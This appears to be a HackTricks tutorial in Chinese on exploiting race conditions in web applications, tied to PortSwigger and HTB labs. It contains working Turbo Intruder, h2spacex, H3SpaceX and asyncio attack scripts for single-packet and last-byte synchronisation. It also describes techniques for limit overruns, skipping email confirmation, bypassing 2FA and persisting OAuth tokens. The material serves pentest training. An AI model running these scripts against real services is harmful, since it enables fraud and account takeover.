Race Condition

Reading time: 23 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

warning

要深入理解此技术,请查看原始报告: https://portswigger.net/research/smashing-the-state-machine

增强 Race Condition 攻击

实现 race condition 利用的主要难点在于确保多个请求同时被处理,且它们的处理时间差异非常小——理想情况下少于 1ms。

下面是一些用于同步请求的技术:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: 支持在单个 TCP 连接上发送两个请求,减小网络抖动的影响。但由于服务器端的差异,两个请求可能不足以稳定触发 race condition exploit。
  • HTTP/1.1 'Last-Byte Sync': 允许预先发送 20–30 个请求的大部分内容,保留一个小片段,然后一起发送该片段,从而实现请求同时到达服务器。

Preparation for Last-Byte Sync 包括:

  1. 发送 headers 和 body 数据,但不发送最后一个字节,不结束流。
  2. 在初次发送后暂停约 100ms。
  3. 禁用 TCP_NODELAY,以利用 Nagle 的算法对最终帧进行批处理。
  4. 发送 ping 以预热连接。

随后一起发送被保留的帧应导致它们在单个数据包中到达,可通过 Wireshark 验证。此方法不适用于静态文件,静态文件通常不涉及 RC 攻击。

HTTP/3 Last‑Frame Synchronization (QUIC)

  • 概念:HTTP/3 基于 QUIC(UDP)。由于不存在 TCP 的合并或 Nagle 机制,传统的 last‑byte sync 无法通过现成客户端实现。相反,需要有意将多个 QUIC stream‑final 的 DATA 帧(FIN)合并到同一 UDP 数据报中,以便服务器在同一调度时隙处理所有目标请求。
  • 如何实现:使用专门的库来暴露 QUIC 帧控制。例如,H3SpaceX 操纵 quic-go 来实现 HTTP/3 last‑frame synchronization,适用于带 body 的请求和无 body 的 GET 型请求。
  • Requests‑with‑body:对 N 个流发送 HEADERS + DATA,但省去最后一个字节,然后将每个流的最后字节一起 flush。
  • GET‑style:构造伪 DATA 帧(或带有 Content‑Length 的微小 body),并在一个数据报中结束所有流。
  • 实际限制:
    • 并发度受对端的 QUIC max_streams transport parameter(类似于 HTTP/2 的 SETTINGS_MAX_CONCURRENT_STREAMS)限制。如果该值较低,可打开多个 H3 连接并在它们之间分配 race。
    • UDP 数据报大小和 path MTU 限制了能合并多少个 stream‑final 帧。库会在需要时拆分为多个数据报,但单个数据报的 flush 最可靠。
  • 实践:存在公开的 H2/H3 race 实验室和随 H3SpaceX 提供的 sample exploits。
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
go
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

适应服务器架构

理解目标的架构至关重要。前端服务器可能以不同方式路由请求,从而影响请求时序。通过发送无关紧要的请求进行预先的服务器端连接预热,可能会使请求时序更为一致。

处理基于会话的锁定

像 PHP 的 session handler 这样的框架会按会话序列化请求,可能会掩盖漏洞。对每个请求使用不同的会话令牌可以规避这个问题。

绕过速率或资源限制

如果连接预热无效,通过大量伪造请求故意触发 web 服务器的速率或资源限制延迟,可能会导致服务器端出现有利于竞态条件的延迟,从而有助于 single-packet attack。

攻击示例

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): 你可以将请求发送到 Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder),在请求中更改要进行 brute force 的值 %s,例如 csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s,然后从下拉菜单中选择 examples/race-single-packer-attack.py

如果你打算 发送不同的值,你可以用下面这个修改过的代码,它使用来自剪贴板的 wordlist:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

如果网站不支持 HTTP2(仅为 HTTP1.1),请使用 Engine.THREADEDEngine.BURP 来代替 Engine.BURP2

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): 如果你需要先向一个 endpoint 发送请求,然后向多个其他 endpoint 发送请求以触发 RCE,可以将 race-single-packet-attack.py 脚本修改为类似下面的内容:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Repeater 中也可以使用,通过 Burp Suite 的新选项 'Send group in parallel'。
  • 对于 limit-overrun,你可以在组中简单地添加 相同的请求 50 次
  • 对于 connection warming,你可以在 开始 添加一些针对 web 服务器 非静态 部分的 请求
  • 对于在两个子状态步骤中在处理 一个请求和另一个请求之间 延迟该过程的 delaying,你可以在两个请求之间 添加额外的请求
  • 对于 multi-endpoint RC,你可以先发送那个 进入隐藏状态的请求,然后紧接着发送 50 个请求利用该隐藏状态
  • Automated python script: 该脚本的目标是在不断验证的同时更改用户的邮箱,直到新邮箱的验证令牌发送到最后的邮箱为止(这是因为代码中存在一个 RC,允许修改邮箱但将验证发送到旧邮箱,因为表示邮箱的变量已经被第一个邮箱填充)。
    当在收到的邮件中发现单词 "objetivo" 时,我们就知道已收到已更改邮箱的验证令牌,攻击结束。
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: 引擎与门控说明

  • 引擎选择:在 HTTP/2 目标上使用 Engine.BURP2 以触发 single-packet attack;在 HTTP/1.1 的 last‑byte sync 场景回退到 Engine.THREADEDEngine.BURP
  • gate/openGate:排入多个副本到队列,使用 gate='race1'(或针对每次尝试使用不同的 gate),这会保留每个请求的尾部;openGate('race1') 会同时刷新所有尾部,使它们几乎同时到达。
  • 诊断:Turbo Intruder 中的负时间戳表示服务器在请求完全发送前就已响应,证明存在重叠。这在真实的 race 中是预期的。
  • 连接预热:先发送一个 ping 或几次无害请求以稳定计时;可选地禁用 TCP_NODELAY 以促使最终帧的批量发送。

改进 Single Packet Attack

在原始研究中说明该攻击受 1,500 字节的限制。然而,在 this post,解释了如何将 single packet attack 的 1,500 字节限制通过 使用 IP 层分片扩展到 TCP 的 65,535 B 窗口限制(将单个数据包拆分为多个 IP 包)并以不同顺序发送,这样可阻止在所有分片到达服务器之前对包进行重组。该技术使研究者能在约 166ms 内发送 10,000 个请求。

注意,尽管该改进在需要数百/数千个包同时到达的 RC 场景中提高了可靠性,但它也可能受到软件限制。一些流行的 HTTP 服务器如 Apache、Nginx 和 Go 对 SETTINGS_MAX_CONCURRENT_STREAMS 有严格限制,分别为 100、128 和 250。但像 NodeJS 和 nghttp2 则无限制。
这基本意味着 Apache 只会将来自单个 TCP 连接的 100 个 HTTP 连接计入考虑(从而限制了此 RC 攻击)。对于 HTTP/3,类似的限制是 QUIC 的 max_streams 传输参数——如果它很小,就将你的 race 分布到多个 QUIC 连接。

你可以在仓库 https://github.com/Ry0taK/first-sequence-sync/tree/main 中找到使用该技术的一些示例。

Raw BF

在此前的研究之前,使用的一些 payloads 尝试尽可能快地发送数据包以触发 RC。

  • Repeater: 参见上一节的示例。
  • Intruder: 将 request 发送到 Intruder,在 Options menu 中将 number of threads 设置为 30,选择负载为 Null payloads 并生成 30
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC 方法论

Limit-overrun / TOCTOU

这是最基本的一类 race condition,漏洞通常出现在那些限制你执行某个操作次数的地方。比如在电商中多次使用同一折扣码。一个很简单的例子见 this reportthis bug

有多种此类攻击的变体,包括:

  • 多次兑换 gift card
  • 多次为同一产品评分
  • 提取或转账超过账户余额
  • 重用单个 CAPTCHA 的解答
  • 绕过 anti-brute-force rate limit

Hidden substates

利用复杂的 race condition 往往需要抓住短暂机会与隐藏或非预期的机器子状态交互。可以按下面步骤进行:

  1. Identify Potential Hidden Substates
  • 首先定位那些修改或交互关键数据的 endpoints,例如 user profiles 或 password reset 流程。关注点包括:
  • Storage:优先选择操作服务器端持久数据的 endpoints,而不是仅处理客户端数据的接口。
  • Action:寻找修改已有数据的操作,这类操作比添加新数据的操作更容易产生可利用的条件。
  • Keying:成功的攻击通常涉及基于相同标识符(例如 username 或 reset token)的操作。
  1. Conduct Initial Probing
  • 对已识别的 endpoints 进行 race condition 探测,观察是否有与预期不同的返回或行为变化。任何异常响应或应用行为偏差都可能表明存在漏洞。
  1. Demonstrate the Vulnerability
  • 将攻击缩减到利用漏洞所需的最少请求数,通常只需两次请求。由于时间点要求精确,这一步可能需要多次尝试或自动化。

Time Sensitive Attacks

精确的请求时序能揭示漏洞,尤其是在使用可预测方法(如 timestamp)生成安全 token 的情况下。例如,如果 password reset tokens 基于时间戳生成,并且两个同时发出的请求产生相同的 token,就可能存在漏洞。

要利用此类漏洞:

  • 使用精确时序(例如 single packet 攻击)发起并发的 password reset 请求。如果生成相同的 tokens,说明存在漏洞。

示例:

  • 同时请求两个 password reset tokens 并对比它们。匹配的 tokens 表明生成机制有缺陷。

可以在 PortSwigger Lab 试验此类情形。

Hidden substates case studies

Pay & add an Item

查看 PortSwigger Lab 学习如何在商店中 payadd an extra item,使该 item 不会需要你为其付款

Confirm other emails

思路是 同时验证一个 email 地址并把它改为另一个,以检测平台是否实际上验证了被更改的新邮箱。

根据 this research 的研究,Gitlab 曾因该方式易受 takeover,因为它可能会将一个 email 的 email verification token 发送到另一个 email

可以在 PortSwigger Lab 进行练习。

Hidden Database states / Confirmation Bypass

如果使用两个不同的写操作向数据库添加信息,则存在一小段时间窗口,数据库中只有第一条数据已被写入。例如,在创建用户时,可能先写入 usernamepassword,随后才写入用于确认新建账号的 token。这意味着在极短时间内,确认账号的 token 可能为 null。

因此,注册一个账号并立即发送若干带空 token 的请求(例如 token=token[]= 或其他变体)来确认该账号,可能允许你确认账号而你并不控制对应的 email。

可以在 PortSwigger Lab 练习此类场景。

Bypass 2FA

下面的 pseudo-code 因为在创建 session 的极短时间窗口内 2FA 未被强制执行,所以易受 race condition 影响:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 eternal persistence

有若干 OAUth providers。这些服务允许你创建一个应用并验证该提供商已注册的用户。为了实现这一点,client 需要 permit your application 来访问该 OAUth provider 中的部分数据。
到这里为止,这就像常见的使用 google/linkedin/github 等登录:会弹出一页提示:“Application wants to access you information, do you want to allow it?

Race Condition in authorization_code

当你接受它时,会自动将一个 authorization_code 发送给恶意应用。随后,该应用滥用 OAUth 服务提供者中的 Race Condition,从该 authorization_code 生成多个 AT/RTAuthentication Token/Refresh Token)用于你的账户。基本上,它会利用你已授权应用访问数据的事实来创建多个账户。之后,如果你取消允许该应用访问数据,一对 AT/RT 可能会被删除,但其他的仍然有效。

Race Condition in Refresh Token

一旦你获得了有效的 RT,攻击者就可以尝试滥用它生成多个 AT/RT,即使用户随后撤销了对恶意应用的权限,多个 RT 仍可能保持有效。

RC in WebSockets

  • WS_RaceCondition_PoC 中,你可以找到一个用 Java 编写的 PoC,用来并行发送 websocket 消息以滥用 Race Conditions(也适用于 Web Sockets)。
  • 使用 Burp 的 WebSocket Turbo Intruder 可以使用 THREADED 引擎生成多个 WS 连接并并行发送 payloads。可以从官方示例开始并调整 config()(线程数)以获得并发性;在对跨 WS 处理程序的服务器端状态进行竞争时,这通常比在单个连接上批量发送更可靠。参见 RaceConditionExample.py

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks